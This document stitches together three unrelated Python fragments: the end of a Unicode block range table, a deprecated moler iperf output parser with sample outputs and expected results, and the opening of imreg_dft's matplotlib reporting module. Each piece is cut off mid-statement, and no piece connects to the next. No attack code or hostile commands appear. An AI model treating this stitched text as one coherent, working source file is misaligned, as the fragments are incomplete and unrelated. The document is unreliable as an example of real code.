['1F00', '1FFF', 'Greek Extended', [range(7936, 7958), range(7960, 7966), range(7968, 8006), range(8008, 8014), range(8016, 8024), range(8025, 8026), range(8027, 8028), range(8029, 8030), range(8031, 8062), range(8064, 8117), range(8118, 8133), range(8134, 8148), range(8150, 8156), range(8157, 8176), range(8178, 8181), range(8182, 8191)]],
['2000', '206F', 'General Punctuation', [range(8192, 8203), range(8208, 8232), range(8239, 8288)]],
['2070', '209F', 'Superscripts and Subscripts', [range(8304, 8306), range(8308, 8335), range(8336, 8349)]],
['20A0', '20CF', 'Currency Symbols', [range(8352, 8384)]],
['20D0', '20FF', 'Combining Diacritical Marks for Symbols', [range(8400, 8433)]],
['2100', '214F', 'Letterlike Symbols', [range(8448, 8528)]],
['2150', '218F', 'Number Forms', [range(8528, 8588)]],
['2190', '21FF', 'Arrows', [range(8592, 8704)]],
['2200', '22FF', 'Mathematical Operators', [range(8704, 8960)]],
['2300', '23FF', 'Miscellaneous Technical', [range(8960, 9216)]],
['2400', '243F', 'Control Pictures', [range(9216, 9255)]],
['2440', '245F', 'Optical Character Recognition', [range(9280, 9291)]],
['2460', '24FF', 'Enclosed Alphanumerics', [range(9312, 9472)]],
['2500', '257F', 'Box Drawing', [range(9472, 9600)]],
['2580', '259F', 'Block Elements', [range(9600, 9632)]],
['25A0', '25FF', 'Geometric Shapes', [range(9632, 9728)]],
['2600', '26FF', 'Miscellaneous Symbols', [range(9728, 9984)]],
['2700', '27BF', 'Dingbats', [range(9984, 10176)]],
['27C0', '27EF', 'Miscellaneous Mathematical Symbols-A', [range(10176, 10224)]],
['27F0', '27FF', 'Supplemental Arrows-A', [range(10224, 10240)]],
['2800', '28FF', 'Braille Patterns', [range(10240, 10496)]],
['2900', '297F', 'Supplemental Arrows-B', [range(10496, 10624)]],
['2980', '29FF', 'Miscellaneous Mathematical Symbols-B', [range(10624, 10752)]],
['2A00', '2AFF', 'Supplemental Mathematical Operators', [range(10752, 11008)]],
['2B00', '2BFF', 'Miscellaneous Symbols and Arrows', [range(11008, 11124), range(11126, 11158), range(11160, 11209), range(11210, 11263)]],
['2C00', '2C5F', 'Glagolitic', [range(11264, 11311), range(11312, 11359)]],
['2C60', '2C7F', 'Latin Extended-C', [range(11360, 11392)]],
['2C80', '2CFF', 'Coptic', [range(11392, 11508), range(11513, 11520)]],
['2D00', '2D2F', 'Georgian Supplement', [range(11520, 11558), range(11559, 11560), range(11565, 11566)]],
['2D30', '2D7F', 'Tifinagh', [range(11568, 11624), range(11631, 11633), range(11647, 11648)]],
['2D80', '2DDF', 'Ethiopic Extended', [range(11648, 11671), range(11680, 11687), range(11688, 11695), range(11696, 11703), range(11704, 11711), range(11712, 11719), range(11720, 11727), range(11728, 11735), range(11736, 11743)]],
['2DE0', '2DFF', 'Cyrillic Extended-A', [range(11744, 11776)]],
['2E00', '2E7F', 'Supplemental Punctuation', [range(11776, 11855)]],
['2E80', '2EFF', 'CJK Radicals Supplement', [range(11904, 11930), range(11931, 12020)]],
['2F00', '2FDF', 'Kangxi Radicals', [range(12032, 12246)]],
['2FF0', '2FFF', 'Ideographic Description Characters', [range(12272, 12284)]],
['3000', '303F', 'CJK Symbols and Punctuation', [range(12288, 12352)]],
['3040', '309F', 'Hiragana', [range(12353, 12439), range(12441, 12448)]],
['30A0', '30FF', 'Katakana', [range(12448, 12544)]],
['3100', '312F', 'Bopomofo', [range(12549, 12592)]],
['3130', '318F', 'Hangul Compatibility Jamo', [range(12593, 12687)]],
['3190', '319F', 'Kanbun', [range(12688, 12704)]],
['31A0', '31BF', 'Bopomofo Extended', [range(12704, 12731)]],
['31C0', '31EF', 'CJK Strokes', [range(12736, 12772)]],
['31F0', '31FF', 'Katakana Phonetic Extensions', [range(12784, 12800)]],
['3200', '32FF', 'Enclosed CJK Letters and Months', [range(12800, 12831), range(12832, 13055)]],
['3300', '33FF', 'CJK Compatibility', [range(13056, 13312)]],
['3400', '4DBF', 'CJK Unified Ideographs Extension A', [range(13312, 19893)]],
['4DC0', '4DFF', 'Yijing Hexagram Symbols', [range(19904, 19968)]],
['4E00', '9FFF', 'CJK Unified Ideographs', [range(19968, 40943)]],
['A000', 'A48F', 'Yi Syllables', [range(40960, 42125)]],
['A490', 'A4CF', 'Yi Radicals', [range(42128, 42183)]],
['A4D0', 'A4FF', 'Lisu', [range(42192, 42240)]],
['A500', 'A63F', 'Vai', [range(42240, 42540)]],
['A640', 'A69F', 'Cyrillic Extended-B', [range(42560, 42656)]],
['A6A0', 'A6FF', 'Bamum', [range(42656, 42744)]],
['A700', 'A71F', 'Modifier Tone Letters', [range(42752, 42784)]],
['A720', 'A7FF', 'Latin Extended-D', [range(42784, 42938), range(42999, 43008)]],
['A800', 'A82F', '<NAME>', [range(43008, 43052)]],
['A830', 'A83F', 'Common Indic Number Forms', [range(43056, 43066)]],
['A840', 'A87F', 'Phags-pa', [range(43072, 43128)]],
['A880', 'A8DF', 'Saurashtra', [range(43136, 43206), range(43214, 43226)]],
['A8E0', 'A8FF', 'Devanagari Extended', [range(43232, 43264)]],
['A900', 'A92F', '<NAME>', [range(43264, 43312)]],
['A930', 'A95F', 'Rejang', [range(43312, 43348), range(43359, 43360)]],
| |
# -*- coding: utf-8 -*-
"""
Iperf command module.
+-------------------------------------------------------------------
| Deprecated module. Don't develop any more. Develop Iperf2 instead.
+-------------------------------------------------------------------
Deprecation rationale:
This command returned value requires additional parsing and doesn't provide final report.
"""
__author__ = '<NAME>'
__copyright__ = 'Copyright (C) 2018, Nokia'
__email__ = '<EMAIL>'
from moler.cmd.unix.genericunix import GenericUnixCommand
from moler.util.converterhelper import ConverterHelper
from moler.exceptions import CommandFailure
from moler.exceptions import ParsingDone
import re
import warnings
class Iperf(GenericUnixCommand):
"""
Run iperf command and return its statistics
Statistics are given as list of dicts like::
{'Interval': '0.0- 1.0 sec',
'Transfer Raw': '1.17 MBytes',
'Transfer': 1226833,
'Bandwidth Raw': '9.84 Mbits/sec',
'Bandwidth': 1230000,
'Jitter': '1.830 ms',
'Lost_vs_Total_Datagrams': '0/ 837 (0%)'}
Above dict represents iperf output like::
[ ID] Interval Transfer Bandwidth Jitter Lost/Total Datagrams
[904] 0.0- 1.0 sec 1.17 MBytes 9.84 Mbits/sec 1.830 ms 0/ 837 (0%)
Please note that numeric values are normalized to Bytes:
- Transfer is in Bytes
- Bandwith is in Bytes/sec
"""
def __init__(self, connection, options, prompt=None, newline_chars=None, runner=None):
super(Iperf, self).__init__(connection=connection, prompt=prompt, newline_chars=newline_chars, runner=runner)
self.options = options
self.current_ret['CONNECTIONS'] = dict()
self.current_ret['INFO'] = list()
# private values
self._connection_dict = dict()
self._converter_helper = ConverterHelper()
warnings.warn("Iperf command is deprecated - use Iperf2 instead", DeprecationWarning, stacklevel=2)
def build_command_string(self):
cmd = 'iperf ' + str(self.options)
return cmd
def on_new_line(self, line, is_full_line):
if is_full_line:
try:
self._command_failure(line)
self._parse_connection_name_and_id(line)
self._parse_headers(line)
self._parse_connection_info(line)
self._parse_connection_headers(line)
except ParsingDone:
pass
return super(Iperf, self).on_new_line(line, is_full_line)
_re_command_failure = re.compile(r"(?P<FAILURE_MSG>.*failed.*|.*error.*|.*command not found.*|.*iperf:.*)")
def _command_failure(self, line):
if self._regex_helper.search_compiled(Iperf._re_command_failure, line):
self.set_exception(CommandFailure(self, "ERROR: {}".format(self._regex_helper.group("FAILURE_MSG"))))
raise ParsingDone
# [904] local 10.1.1.1 port 5001 connected with 10.6.2.5 port 32781
_re_connection_name_and_id = re.compile(r"(?P<ID>\[\s*\d*\])\s*(?P<ID_NAME>.*port\s*\d*\s*connected with.*)")
def _parse_connection_name_and_id(self, line):
if self._regex_helper.search_compiled(Iperf._re_connection_name_and_id, line):
connection_id = self._regex_helper.group("ID")
connection_name = self._regex_helper.group("ID_NAME")
connection_dict = {connection_id: connection_name}
self._connection_dict.update(connection_dict)
raise ParsingDone
# iperf output for: udp client, tcp client, tcp server
# [ ID] Interval Transfer Bandwidth
# iperf output for: udp server
# [ ID] Interval Transfer Bandwidth Jitter Lost/Total Datagrams
_re_headers = re.compile(r"\[\s+ID\]\s+Interval\s+Transfer\s+Bandwidth")
def _parse_headers(self, line):
if self._regex_helper.search_compiled(Iperf._re_headers, line):
# ignore headers
raise ParsingDone
# udp:
# [ ID] Interval Transfer Bandwidth Jitter Lost/Total Datagrams
# [ 3] 0.0- 1.0 sec 612 KBytes 5010 Kbits/sec 0.022 ms 0/ 426 (0%)
#
# tcp:
# [ ID] Interval Transfer Bandwidth
# [ 4] 0.0- 1.0 sec 979 KBytes 8020 Kbits/sec
_re_connection_info = re.compile(r"(?P<CONNECTION_ID>\[\s*\d*\])\s*(?P<CONNECTION_REPORT>.*)")
_re_ci = r"(?P<ID>\[\s*\d*\])\s+(?P<Interval>\d+.+sec)\s+(?P<Transfer>[\d\.]+\s+\w+)\s+(?P<Bandwidth>[\d\.]+\s+\w+/sec)"
_re_ci_udp_svr = _re_ci + r"\s+(?P<Jitter>\d+\.\d+\s\w+)\s+(?P<Lost_vs_Total_Datagrams>\d+/\s*\d+\s*\([\d\.]+\%\))"
_re_iperf_record = re.compile(_re_ci)
_re_iperf_record_udp_svr = re.compile(_re_ci_udp_svr)
def _parse_connection_info(self, line):
regex_found = self._regex_helper.search_compiled
if regex_found(Iperf._re_iperf_record_udp_svr, line) or regex_found(Iperf._re_iperf_record, line):
iperf_record = self._regex_helper.groupdict()
connection_id = iperf_record.pop("ID")
connection_name = self._connection_dict[connection_id]
normalized_iperf_record = self._normalize_to_bytes(iperf_record)
self._update_current_ret(connection_name, normalized_iperf_record)
raise ParsingDone
def _update_current_ret(self, connection_name, info_dict):
if connection_name in self.current_ret['CONNECTIONS']:
self.current_ret['CONNECTIONS'][connection_name].append(info_dict)
else:
connection_dict = {connection_name: [info_dict]}
self.current_ret['CONNECTIONS'].update(connection_dict)
# [ 5] Sent 2552 datagrams
# [ 5] Server Report:
# ------------------------------------------------------------
_re_ornaments = re.compile(r"(?P<ORNAMENTS>----*|\[\s*ID\].*)", re.IGNORECASE)
def _parse_connection_headers(self, line):
if not self._regex_helper.search_compiled(Iperf._re_ornaments, line):
self.current_ret['INFO'].append(line.strip())
raise ParsingDone
def _normalize_to_bytes(self, input_dict):
new_dict = {}
for (key, raw_value) in input_dict.items():
if 'Bytes' in raw_value: # iperf MBytes means 1024 * 1024 Bytes - see iperf.fr/iperf-doc.php
new_dict[key + " Raw"] = raw_value
value_in_bytes, _, _ = self._converter_helper.to_bytes(raw_value)
new_dict[key] = value_in_bytes
elif 'bits' in raw_value: # iperf Mbits means 1000 * 1000 bits - see iperf.fr/iperf-doc.php
new_dict[key + " Raw"] = raw_value
value_in_bits, _, _ = self._converter_helper.to_bytes(raw_value, binary_multipliers=False)
value_in_bytes = value_in_bits // 8
new_dict[key] = value_in_bytes
else:
new_dict[key] = raw_value
return new_dict
COMMAND_OUTPUT_basic_client = """
xyz@debian:~$ iperf -c 10.1.1.1
------------------------------------------------------------
Client connecting to 10.1.1.1, TCP port 5001
TCP window size: 16384 Byte (default)
------------------------------------------------------------
[ 3] local 192.168.0.102 port 49597 connected with 192.168.0.100 port 5001
[ ID] Interval Transfer Bandwidth
[ 3] 0.0- 1.0 sec 28.6 MBytes 240 Mbits/sec
[ 3] 1.0- 2.0 sec 25.9 MBytes 217 Mbits/sec
[ 3] 2.0- 3.0 sec 26.5 MBytes 222 Mbits/sec
[ 3] 3.0- 4.0 sec 26.6 MBytes 223 Mbits/sec
[ 3] 4.0- 5.0 sec 26.0 MBytes 218 Mbits/sec
[ 3] 5.0- 6.0 sec 26.2 MBytes 220 Mbits/sec
[ 3] 6.0- 7.0 sec 26.8 MBytes 224 Mbits/sec
[ 3] 7.0- 8.0 sec 26.0 MBytes 218 Mbits/sec
[ 3] 8.0- 9.0 sec 25.8 MBytes 216 Mbits/sec
[ 3] 9.0-10.0 sec 26.4 MBytes 221 Mbits/sec
[ 3] 0.0-10.0 sec 265 MBytes 222 Mbits/sec
xyz@debian:~$"""
COMMAND_KWARGS_basic_client = {
'options': '-c 10.1.1.1'
}
COMMAND_RESULT_basic_client = {
'CONNECTIONS':
{'local 192.168.0.102 port 49597 connected with 192.168.0.100 port 5001': [
{'Bandwidth Raw': '240 Mbits/sec', 'Bandwidth': 30000000, 'Transfer Raw': '28.6 MBytes',
'Transfer': 29989273, 'Interval': '0.0- 1.0 sec'},
{'Bandwidth Raw': '217 Mbits/sec', 'Bandwidth': 27125000, 'Transfer Raw': '25.9 MBytes',
'Transfer': 27158118, 'Interval': '1.0- 2.0 sec'},
{'Bandwidth Raw': '222 Mbits/sec', 'Bandwidth': 27750000, 'Transfer Raw': '26.5 MBytes',
'Transfer': 27787264, 'Interval': '2.0- 3.0 sec'},
{'Bandwidth Raw': '223 Mbits/sec', 'Bandwidth': 27875000, 'Transfer Raw': '26.6 MBytes',
'Transfer': 27892121, 'Interval': '3.0- 4.0 sec'},
{'Bandwidth Raw': '218 Mbits/sec', 'Bandwidth': 27250000, 'Transfer Raw': '26.0 MBytes',
'Transfer': 27262976, 'Interval': '4.0- 5.0 sec'},
{'Bandwidth Raw': '220 Mbits/sec', 'Bandwidth': 27500000, 'Transfer Raw': '26.2 MBytes',
'Transfer': 27472691, 'Interval': '5.0- 6.0 sec'},
{'Bandwidth Raw': '224 Mbits/sec', 'Bandwidth': 28000000, 'Transfer Raw': '26.8 MBytes',
'Transfer': 28101836, 'Interval': '6.0- 7.0 sec'},
{'Bandwidth Raw': '218 Mbits/sec', 'Bandwidth': 27250000, 'Transfer Raw': '26.0 MBytes',
'Transfer': 27262976, 'Interval': '7.0- 8.0 sec'},
{'Bandwidth Raw': '216 Mbits/sec', 'Bandwidth': 27000000, 'Transfer Raw': '25.8 MBytes',
'Transfer': 27053260, 'Interval': '8.0- 9.0 sec'},
{'Bandwidth Raw': '221 Mbits/sec', 'Bandwidth': 27625000, 'Transfer Raw': '26.4 MBytes',
'Transfer': 27682406, 'Interval': '9.0-10.0 sec'},
{'Bandwidth Raw': '222 Mbits/sec', 'Bandwidth': 27750000, 'Transfer Raw': '265 MBytes',
'Transfer': 277872640, 'Interval': '0.0-10.0 sec'}]},
'INFO': ['Client connecting to 10.1.1.1, TCP port 5001', 'TCP window size: 16384 Byte (default)']
}
COMMAND_OUTPUT_basic_server = """
xyz@debian:~$ iperf -u
------------------------------------------------------------
Server listening on UDP port 5001
Receiving 1470 byte datagrams
UDP buffer size: 8.00 KByte (default)
------------------------------------------------------------
[904] local 10.1.1.1 port 5001 connected with 10.6.2.5 port 32781
[ ID] Interval Transfer Bandwidth Jitter Lost/Total Datagrams
[904] 0.0- 1.0 sec 1.17 MBytes 9.84 Mbits/sec 1.830 ms 0/ 837 (0%)
[904] 1.0- 2.0 sec 1.18 MBytes 9.94 Mbits/sec 1.846 ms 5/ 850 (0.59%)
[904] 2.0- 3.0 sec 1.19 MBytes 9.98 Mbits/sec 1.802 ms 2/ 851 (0.24%)
[904] 3.0- 4.0 sec 1.19 MBytes 10.0 Mbits/sec 1.830 ms 0/ 850 (0%)
[904] 4.0- 5.0 sec 1.19 MBytes 9.98 Mbits/sec 1.846 ms 1/ 850 (0.12%)
[904] 5.0- 6.0 sec 1.19 MBytes 10.0 Mbits/sec 1.806 ms 0/ 851 (0%)
[904] 6.0- 7.0 sec 1.06 MBytes 8.87 Mbits/sec 1.803 ms 1/ 755 (0.13%)
[904] 7.0- 8.0 sec 1.19 MBytes 10.0 Mbits/sec 1.831 ms 0/ 850 (0%)
[904] 8.0- 9.0 sec 1.19 MBytes 10.0 Mbits/sec 1.841 ms 0/ 850 (0%)
[904] 9.0-10.0 sec 1.19 MBytes 10.0 Mbits/sec 1.801 ms 0/ 851 (0%)
[904] 0.0-10.0 sec 11.8 MBytes 9.86 Mbits/sec 2.618 ms 9/ 8409 (0.11%)
xyz@debian:~$"""
COMMAND_KWARGS_basic_server = {
'options': '-u'
}
COMMAND_RESULT_basic_server = {
'CONNECTIONS': {
'local 10.1.1.1 port 5001 connected with 10.6.2.5 port 32781': [{'Bandwidth Raw': '9.84 Mbits/sec',
'Bandwidth': 1230000,
'Interval': '0.0- 1.0 sec',
'Jitter': '1.830 ms',
'Lost_vs_Total_Datagrams': '0/ 837 (0%)',
'Transfer Raw': '1.17 MBytes',
'Transfer': 1226833},
{'Bandwidth Raw': '9.94 Mbits/sec',
'Bandwidth': 1242500,
'Interval': '1.0- 2.0 sec',
'Jitter': '1.846 ms',
'Lost_vs_Total_Datagrams': '5/ 850 (0.59%)',
'Transfer Raw': '1.18 MBytes',
'Transfer': 1237319},
{'Bandwidth Raw': '9.98 Mbits/sec',
'Bandwidth': 1247500,
'Interval': '2.0- 3.0 sec',
'Jitter': '1.802 ms',
'Lost_vs_Total_Datagrams': '2/ 851 (0.24%)',
'Transfer Raw': '1.19 MBytes',
'Transfer': 1247805},
{'Bandwidth Raw': '10.0 Mbits/sec',
'Bandwidth': 1250000,
'Interval': '3.0- 4.0 sec',
'Jitter': '1.830 ms',
'Lost_vs_Total_Datagrams': '0/ 850 (0%)',
'Transfer Raw': '1.19 MBytes',
'Transfer': 1247805},
{'Bandwidth Raw': '9.98 Mbits/sec',
'Bandwidth': 1247500,
'Interval': '4.0- 5.0 sec',
'Jitter': '1.846 ms',
'Lost_vs_Total_Datagrams': '1/ 850 (0.12%)',
'Transfer Raw': '1.19 MBytes',
'Transfer': 1247805},
{'Bandwidth Raw': '10.0 Mbits/sec',
'Bandwidth': 1250000,
'Interval': '5.0- 6.0 sec',
'Jitter': '1.806 ms',
'Lost_vs_Total_Datagrams': '0/ 851 (0%)',
'Transfer Raw': '1.19 MBytes',
'Transfer': 1247805},
{'Bandwidth Raw': '8.87 Mbits/sec',
'Bandwidth': 1108750,
'Interval': '6.0- 7.0 sec',
'Jitter': '1.803 ms',
'Lost_vs_Total_Datagrams': '1/ 755 (0.13%)',
'Transfer Raw': '1.06 MBytes',
'Transfer': 1111490},
{'Bandwidth Raw': '10.0 Mbits/sec',
'Bandwidth': 1250000,
'Interval': '7.0- 8.0 sec',
'Jitter': '1.831 ms',
'Lost_vs_Total_Datagrams': '0/ 850 (0%)',
'Transfer Raw': '1.19 MBytes',
'Transfer': 1247805},
{'Bandwidth Raw': '10.0 Mbits/sec',
'Bandwidth': 1250000,
'Interval': '8.0- 9.0 sec',
'Jitter': '1.841 ms',
'Lost_vs_Total_Datagrams': '0/ 850 (0%)',
'Transfer Raw': '1.19 MBytes',
'Transfer': 1247805},
{'Bandwidth Raw': '10.0 Mbits/sec',
'Bandwidth': 1250000,
'Interval': '9.0-10.0 sec',
'Jitter': '1.801 ms',
'Lost_vs_Total_Datagrams': '0/ 851 (0%)',
'Transfer Raw': '1.19 MBytes',
'Transfer': 1247805},
{'Bandwidth Raw': '9.86 Mbits/sec',
'Bandwidth': 1232500,
'Interval': '0.0-10.0 sec',
'Jitter': '2.618 ms',
'Lost_vs_Total_Datagrams': '9/ 8409 (0.11%)',
'Transfer Raw': '11.8 MBytes',
'Transfer': 12373196}]},
'INFO': ['Server listening on UDP port 5001', 'Receiving 1470 byte datagrams',
'UDP | |
# -*- coding: utf-8 -*-
# reporting.py
# Copyright (c) 2014-?, <NAME>
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# * Neither the name of the copyright holders nor the names of any
# contributors may be used to endorse or promote products derived
# from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
import contextlib
import numpy as np
# We intentionally don't import matplotlib on this level - we want this module
# to be importable even if one doesn't have matplotlib
from imreg_dft import imreg
TEXT_MODE = "plain"
def _t(stri):
if TEXT_MODE == "tex":
return r"\textrm{%s}" % stri
return stri
@contextlib.contextmanager
def report_wrapper(orig, index):
if orig is None:
yield None
else:
prefix = "%03d-" % index
orig.push_prefix(prefix)
yield orig
orig.pop_prefix(prefix)
class ReportsWrapper(object):
"""
A wrapped dictionary.
It allows a parent function to put it in a mode, in which it will
prefix keys of items set.
"""
def __init__(self, toshow=""):
self.prefixes = [""]
#: Keys by prefix
self._stuff = {"": dict()}
self.idx = ""
self._toshow = toshow
self._show = dict(
inputs="i" in toshow,
spectra="s" in toshow,
logpolar="l" in toshow,
tile_info="t" in toshow,
scale_angle="1" in toshow,
transformed="a" in toshow,
translation="2" in toshow,
)
def get_contents(self):
ret = self._stuff.items()
return ret
def copy_empty(self):
ret = ReportsWrapper(self._toshow)
ret.idx = self.idx
ret.prefixes = self.prefixes
for prefix in self.prefixes:
ret._stuff[prefix] = dict()
return ret
def set_global(self, key, value):
self._stuff[""][key] = value
def get_global(self, key):
ret = self._stuff[""][key]
return ret
def show(self, *args):
ret = False
for arg in args:
ret |= self._show[arg]
return ret
def __setitem__(self, key, value):
self._stuff[self.idx][key] = value
def __getitem__(self, key):
ret = self._stuff[self.idx][key]
return ret
def push_prefix(self, idx):
self._stuff.setdefault(idx, dict())
self.idx = idx
self.prefixes.append(self.idx)
def pop_prefix(self, idx):
assert self.prefixes[-1] == idx, \
("Real previous prefix ({}) differs from the specified ({})"
.format(self.prefixes[-1], idx))
assert len(self.prefixes) > 1, \
"There is not more than 1 prefix left, you can't remove any."
self.prefixes.pop()
self.idx = self.prefixes[-1]
class Rect_callback(object):
def __call__(self, idx, LLC, dims):
self._call(idx, LLC, dims)
def _call(self, idx, LLC, dims):
raise NotImplementedError()
class Rect_mpl(Rect_callback):
"""
A class that can draw image tiles nicely
"""
def __init__(self, subplot, shape):
self.subplot = subplot
self.ecs = ("w", "k")
self.shape = shape
def _get_color(self, coords, dic=None):
lidx = sum(coords)
ret = self.ecs[lidx % 2]
if dic is not None:
dic["ec"] = ret
return ret
def _call(self, idx, LLC, dims, special=False):
import matplotlib.pyplot as plt
# Get from the numpy -> MPL coord system
LLC = LLC[::-1]
URC = LLC + np.array((dims[1], dims[0]))
kwargs = dict(fc='none', lw=4, alpha=0.5)
coords = np.unravel_index(idx, self.shape)
color = self._get_color(coords, kwargs)
if special:
kwargs["fc"] = 'w'
rect = plt.Rectangle(LLC, dims[1], dims[0], **kwargs)
self.subplot.add_artist(rect)
center = (URC + LLC) / 2.0
self.subplot.text(center[0], center[1],
"%02d\n(%d, %d)" % (idx, coords[0], coords[1]),
va="center", ha="center", color=color)
def slices2rects(slices, rect_cb):
"""
Args:
slices: List of slice objects
rect_cb (callable): Check :class:`Rect_callback`.
"""
for ii, (sly, slx) in enumerate(slices):
LLC = np.array((sly.start, slx.start))
URC = np.array((sly.stop, slx.stop))
dims = URC - LLC
rect_cb(ii, LLC, dims)
def imshow_spectra(fig, spectra):
import matplotlib.pyplot as plt
import mpl_toolkits.axes_grid1 as axg
dfts_filt_extent = (-1, 1, -1, 1)
grid = axg.ImageGrid(
fig, 111, nrows_ncols=(1, 2),
add_all=True,
axes_pad=0.4, label_mode="L",
)
what = ("template", "subject")
for ii, im in enumerate(spectra):
grid[ii].set_title(_t("log abs dfts - %s" % what[ii]))
im = grid[ii].imshow(np.log(np.abs(im)), cmap=plt.cm.viridis,
extent=dfts_filt_extent, )
grid[ii].set_xlabel(_t("2 X / px"))
grid[ii].set_ylabel(_t("2 Y / px"))
return fig
def imshow_logpolars(fig, spectra, log_base, im_shape):
import matplotlib.pyplot as plt
import mpl_toolkits.axes_grid1 as axg
low = 1.0
high = log_base ** spectra[0].shape[1]
logpolars_extent = (low, high,
0, 180)
grid = axg.ImageGrid(
fig, 111, nrows_ncols=(2, 1),
add_all=True,
aspect=False,
axes_pad=0.4, label_mode="L",
)
ims = [np.log(np.abs(im)) for im in spectra]
for ii, im in enumerate(ims):
vmin = np.percentile(im, 1)
vmax = np.percentile(im, 99)
grid[ii].set_xscale("log", basex=log_base)
grid[ii].get_xaxis().set_major_formatter(plt.ScalarFormatter())
im = grid[ii].imshow(im, cmap=plt.cm.viridis, vmin=vmin, vmax=vmax,
aspect="auto", extent=logpolars_extent)
grid[ii].set_xlabel(_t("log radius"))
grid[ii].set_ylabel(_t("azimuth / degrees"))
xticklabels = ["{:.3g}".format(tick * 2 / im_shape[0])
for tick in grid[ii].get_xticks()]
grid[ii].set_xticklabels(
xticklabels,
rotation=40, rotation_mode="anchor", ha="right"
)
return fig
def imshow_plain(fig, images, what, also_common=False):
import matplotlib.pyplot as plt
import mpl_toolkits.axes_grid1 as axg
ncols = len(images)
nrows = 1
if also_common:
nrows = 2
elif len(images) == 4:
# not also_common and we have 4 images --- we make a grid of 2x2
nrows = ncols = 2
grid = axg.ImageGrid(
fig, 111, nrows_ncols=(nrows, ncols), add_all=True,
axes_pad=0.4, label_mode="L",
)
images = [im.real for im in images]
for ii, im in enumerate(images):
vmin = np.percentile(im, 2)
vmax = np.percentile(im, 98)
grid[ii].set_title(_t(what[ii]))
img = grid[ii].imshow(im, cmap=plt.cm.gray,
vmin=vmin, vmax=vmax)
if also_common:
vmin = min([np.percentile(im, 2) for im in images])
vmax = max([np.percentile(im, 98) for im in images])
for ii, im in enumerate(images):
grid[ii + ncols].set_title(_t(what[ii]))
im = grid[ii + ncols].imshow(im, cmap=plt.cm.viridis,
vmin=vmin, vmax=vmax)
return fig
def imshow_pcorr_translation(fig, cpss, extent, results, successes):
import matplotlib.pyplot as plt
import mpl_toolkits.axes_grid1 as axg
ncols = 2
grid = axg.ImageGrid(
fig, 111, # similar to subplot(111)
nrows_ncols=(1, ncols),
add_all=True,
axes_pad=0.4,
aspect=False,
cbar_pad=0.05,
label_mode="L",
cbar_mode="single",
cbar_size="3.5%",
)
vmax = max(cpss[0].max(), cpss[1].max())
imshow_kwargs = dict(
vmin=0, vmax=vmax,
aspect="auto",
origin="lower", extent=extent,
cmap=plt.cm.viridis,
)
titles = (_t(u"CPS — translation 0°"), _t(u"CPS — translation 180°"))
labels = (_t("translation y / px"), _t("translation x / px"))
for idx, pl in enumerate(grid):
# TODO: Code duplication with imshow_pcorr
pl.set_title(titles[idx])
center = np.array(results[idx])
im = pl.imshow(cpss[idx], **imshow_kwargs)
# Otherwise plot would change xlim
pl.autoscale(False)
pl.plot(center[0], center[1], "o",
color="r", fillstyle="none", markersize=18, lw=8)
pl.annotate(_t("succ: {:.3g}".format(successes[idx])), xy=center,
xytext=(0, 9), textcoords='offset points',
color="red", va="bottom", ha="center")
pl.annotate(_t("({:.3g}, {:.3g})".format(* center)), xy=center,
xytext=(0, -9), textcoords='offset points',
color="red", va="top", ha="center")
pl.grid(c="w")
pl.set_xlabel(labels[1])
grid.cbar_axes[0].colorbar(im)
grid[0].set_ylabel(labels[0])
return fig
def imshow_pcorr(fig, raw, filtered, extent, result, success, log_base=None,
terse=False):
import matplotlib.pyplot as plt
import mpl_toolkits.axes_grid1 as axg
ncols = 2
if terse:
ncols = 1
grid = axg.ImageGrid(
fig, 111, # similar to subplot(111)
nrows_ncols=(1, ncols),
add_all=True,
axes_pad=0.4,
aspect=False,
cbar_pad=0.05,
label_mode="L",
cbar_mode="single",
cbar_size="3.5%",
)
vmax = raw.max()
imshow_kwargs = dict(
vmin=0, vmax=vmax,
aspect="auto",
origin="lower", extent=extent,
cmap=plt.cm.viridis,
)
grid[0].set_title(_t(u"CPS"))
labels = (_t("translation y / px"), _t("translation x / px"))
im = grid[0].imshow(raw, **imshow_kwargs)
center = np.array(result)
# Otherwise plot would change xlim
grid[0].autoscale(False)
grid[0].plot(center[0], center[1], "o",
color="r", fillstyle="none", markersize=18, lw=8)
grid[0].annotate(_t("succ: {:.3g}".format(success)), xy=center,
xytext=(0, 9), textcoords='offset points',
color="red", va="bottom", ha="center")
grid[0].annotate(_t("({:.3g}, {:.3g})".format(* center)), xy=center,
xytext=(0, -9), textcoords='offset points',
color="red", va="top", ha="center")
# Show the grid only on the annotated image
grid[0].grid(c="w")
if not terse:
grid[1].set_title(_t(u"CPS — constrained and filtered"))
im = grid[1].imshow(filtered, **imshow_kwargs)
grid.cbar_axes[0].colorbar(im)
if log_base is not None:
for dim in range(ncols):
grid[dim].set_xscale("log", basex=log_base)
grid[dim].get_xaxis().set_major_formatter(plt.ScalarFormatter())
xlabels = grid[dim].get_xticklabels(False, "both")
for x in xlabels:
x.set_ha("right")
x.set_rotation_mode("anchor")
x.set_rotation(40)
labels = (_t("rotation / degrees"), _t("scale change"))
# The common stuff
for idx in range(ncols):
grid[idx].set_xlabel(labels[1])
grid[0].set_ylabel(labels[0])
return fig
def imshow_tiles(fig, im0, slices, shape):
import matplotlib.pyplot as plt
axes = fig.add_subplot(111)
